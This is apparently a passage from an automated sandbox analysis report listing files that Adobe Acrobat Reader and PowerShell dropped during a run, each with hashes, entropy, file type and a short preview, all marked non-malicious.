SHA-512:	556C6302327D3CC5648998110566D19980E8FDEFBAF9DDA95401155C0EA646E0073E323FB03D8E65E19FA9E14AAB8F4BFCABA1349485255B0ACAF81D17FDBB30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.265888667470956
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJfbPtdPeUkwRe9:YvXKXafIrgcayjVGDV8Ukee9
MD5:	F65AC069302988C7FAD5F9E730C62205
SHA1:	A1554B67175AE36F42DC064A3F5B9BDD3BD4CED9
SHA-256:	FE86F8AF0BD6D88E97792ED3A6AC3290F09329DD1B4F8B8A8F7A7D6E739D064D
SHA-512:	CFDF65012EB2C6DFF78F2A3B43261667A7F1CFBCE126D642BE9143C85554BF2011F9ABC3E834DE7F3535B49E2889FD9ADF3A65D94D7AB64A4F437E4D4AB7E46B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.269023877259055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJf21rPeUkwRe9:YvXKXafIrgcayjVG+16Ukee9
MD5:	181BD161C3DA6650EC66B09C0FE5716D
SHA1:	678C1EF48D65EACEB075316404D8F8FE5EB44236
SHA-256:	F34BB9AB9298987E55F8A91F3EE2468B75AD8479131D40892B3BA5C11050D0C3
SHA-512:	AA392B09ABDD556DDFAC632203DEC7A14187293E6896E43CEDD9F8C397D16BFF4EDCB6A364420BC861AB9E6F20D353C3052EA9A7B5808FA8CA41BB1673E1F51F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665244623861967
Encrypted:	false
SSDEEP:	24:Yv6XDrVtmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS32:YvgrXoBgkDMUJUAh8cvMG
MD5:	E6E3B7756A06F8A3B2327B38F2C430DB
SHA1:	800D416544F3AEB5D1D98C8A7FD8FC0663266B19
SHA-256:	D5B6793AC1FBF85AE2746CF51E770E5343996A6D61FF663AECE94D4AE4D79D69
SHA-512:	FA96CBEBA10B1A504410F895D200F85FA6CD075B195FB26CA72AD93FA5C0938BE8FE72A856B3C4ED838BC26C373442E56B92AB3CE7D1F7120BF4F8AD776D6C78
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.24587275227297
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJfshHHrPeUkwRe9:YvXKXafIrgcayjVGUUUkee9
MD5:	09B9084124AFBD3DF9DA08AD4245E32A
SHA1:	B5B7640A5F8D3C10FD7E193D3FE34198883FA634
SHA-256:	CC71066DCD8DCF2FEF5D397E5A34F8710B1155B154D609079A389E55AA221433
SHA-512:	259E9F2EE9B160BA132AB8B3583172C0E683E2ADC1882ED9DF54A2C42D5379F7BEEF4ED188DE6A02154A82C47982E3247778659725913A441CC5271F69960BB2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.257594266771728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXafIrVWnZiQ0YxyjeoAvJTqgFCrPeUkwRe9:YvXKXafIrgcayjVGTq16Ukee9
MD5:	E3BF2212E99087950A963A44711F6DBD
SHA1:	A44A1648B92C0540F94368BB338354F93EBBFA42
SHA-256:	73F2D01CE4BCF48E20D8CA425B98AB015039C3686130ECDB24DD684568BB1216
SHA-512:	4D7FDB46C6514E5A90E3A568D5E51E04A599E60062A9CE4FAA9994AEBE8AF0582F8FC4FDB312CE3D46656235549079BB08F5BDEC2F270DE08649C63C479B2E16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7486fc51-bd19-4e4c-8397-09c5a4e4ad12","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1737019965194,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140747613081479
Encrypted:	false
SSDEEP:	24:YpkSX1xRa9RHayKXiKEJFAvW4SUr76Wj3xZxo+ijV0j0Scw/ydl2iv2LSc6CXTHy:YplX8XD0+un6i8UMnjYY07e0eR90E
MD5:	E0E198FB41952FD39538F5992DD2548D
SHA1:	647F4B3463127D945687951507201A9DE4E36BDF
SHA-256:	D9C9A9CB4CD44E24CCCF0859FBF6C34B751A1DCE94284D396646285ABD855515
SHA-512:	87863B71C0E9A04C3659D21CC42F99B8A690539F49423A2287F56FDAAA00C15416CF761973FC21FF7A529FF9188644F21FFB04E17454B48BB4AC0665C0557E61
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1fefc907d5300abc62e99dd5d88eb39e","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736840834000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"8f343edc3662dd1b1934b229e65beb7f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736840834000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3ae43d7027055cb31eec2b195f7a6625","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736840834000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cfb0bb0fc33871f98906aac661b4623a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736840834000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"4cd92d31f0e57c6b3efe7f34d82afcfe","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736840834000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"28f05b738b8f04079f3739c1c67e3004","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1467861005557656
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs7RZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcH6:TFl2GL7msfXc+XcGNFlRYIX2v3k6
MD5:	6D15109ECD4B877516D030CB739F918D
SHA1:	B0E6CF281A94AEFE01A1FE09CC947922ACA91573
SHA-256:	19B8F6849EB9EAA089F9E3259864C0111F52F7C0C7D353B7416A864C96D773E3
SHA-512:	133E297675DB1ACD1BBD5274526E269D28CF2F5970FFBA74176734459A4629B762CBFB3A1ACFDE2C33E2EE23D396CD1D2A196C683C7E4A388CD4F6E0996DF364
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5530155170928832
Encrypted:	false
SSDEEP:	24:7+tTUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxPqLxx/XYKQN:7MQXc+XcGNFlRYIX2vqqVl2GL7ms2
MD5:	A35737C20993053B026C538FAAD838BB
SHA1:	A9B03E00BBB23A37FD44C5F12FEAAD084CE20826
SHA-256:	421E1537015A0A197B4158FEF7363336FD29290C82A48EEEFDD90ED5E65E8F4C
SHA-512:	3052FC0ABD8CDE89A6997823A5BA996DAE9EABF0CDACF82748A4A972F29646B5F4E4EA8A4BD2333D7DABCE8E68AA6205AEB34E74AAF784FF0CCE34B5803477EF
Malicious:	false
Preview:	.... .c........5..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgHLB0V5uGHPL/Qf1B6br3HjgYyu:6a6TZ44ADEHL+PHD4NBq70K
MD5:	670C10D2D2F3A186C55BE61DAAD1DB2B
SHA1:	FDFE2B4248BAACDDC5292ADC2076DE6E0759B03F
SHA-256:	FC59CF6425A998FCBDD2D1F24DABE79FBB969F3E74A784F42A2F0BBBFAB634E9
SHA-512:	3A46D167BC43544D958E68C10184146E2A188462486338C4319A115F703BF20475ABDEE0919E53AF97566E5315ED04389CA3CC11B60967430817A8720472830D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIdd6cf.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5081383324894926
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sCllKH:Qw946cPbiOxDlbYnuRKIn
MD5:	C29B5C923C06F52851FD23B92DB63271
SHA1:	FB7E7605CD6D30F450DF53273E3DCF4A7946FA13
SHA-256:	EFF58C4AB796C9239DDBA3C5B6623C0BF6A5F0CA8C9A559C30B82E83DBE9B0FD
SHA-512:	4364C041DD122A04AB7D576C1F6233734D01192E239608430C49A6FF06067B5E199754A1E68782FC730D59B3A3FD7B01F459D9CE0A5364F812B9039D2652350C
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .0.2.:.4.7.:.1.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqrzjncd.o1m.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xm4azeby.4yy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 02-47-10-133.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3452270959445505
Encrypted:	false
SSDEEP:	384:sXt2FnAJhYd/dT5lpj3+9zeb/olldCKg/8Gywo4uRq3g2sK0qrKaynyH6cCcoFF/:aSa
MD5:	C408FD4ECA9D3CBA7D8709FBDA37F50D
SHA1:	09F675983EA6B9D92517A7101BEB72835C9624CB
SHA-256:	FAA2208CE83938FA2BA0FC67169766E4558B171354082392295E62CBE9D85DB4
SHA-512:	1C0C5B315C379B024006661310F17FC81DB810F68010B22501A2B10B1FB8A2445D948B551A8E596DFB20CD1867FCD14E5522B6CD416BFF5983F4D4858B5C2083
Malicious:	false
Preview:	SessionID=78fa1660-9416-4c3c-9974-c1a53686e761.1736840830156 Timestamp=2025-01-14T02:47:10:156-0500 ThreadID=4460 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=78fa1660-9416-4c3c-9974-c1a53686e761.1736840830156 Timestamp=2025-01-14T02:47:10:178-0500 ThreadID=4460 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=78fa1660-9416-4c3c-9974-c1a53686e761.1736840830156 Timestamp=2025-01-14T02:47:10:178-0500 ThreadID=4460 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=78fa1660-9416-4c3c-9974-c1a53686e761.1736840830156 Timestamp=2025-01-14T02:47:10:178-0500 ThreadID=4460 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=78fa1660-9416-4c3c-9974-c1a53686e761.1736840830156 Timestamp=2025-01-14T02:47:10:178-0500 ThreadID=4460 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395040985647724
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbOcbgIjdcbH:V3fOCIdJDefjs
MD5:	52F8FF9CC508E48E766E5DBE2B396540
SHA1:	9923B84A7F84482792D8AFC18C674149C68D2768
SHA-256:	D8E950ECBE9D4ADE828CF6747CEF78EA285572FF81A05025455619B771271849
SHA-512:	216AE2E37CEF05A84DED66BD4E58C948628C137F95F54B2FCAF265729772D056BAC6B3C90CDB72514A4E6B49E4B7FE34E63121D34D521E97276E43582594CEA8
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\03a98c2a-70e9-488b-8df4-f5a44eed5be8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\844a431e-cb50-46a1-b54e-ab2a69dd4782.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bc218379-310d-4fb1-b1f4-b904df271f3e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
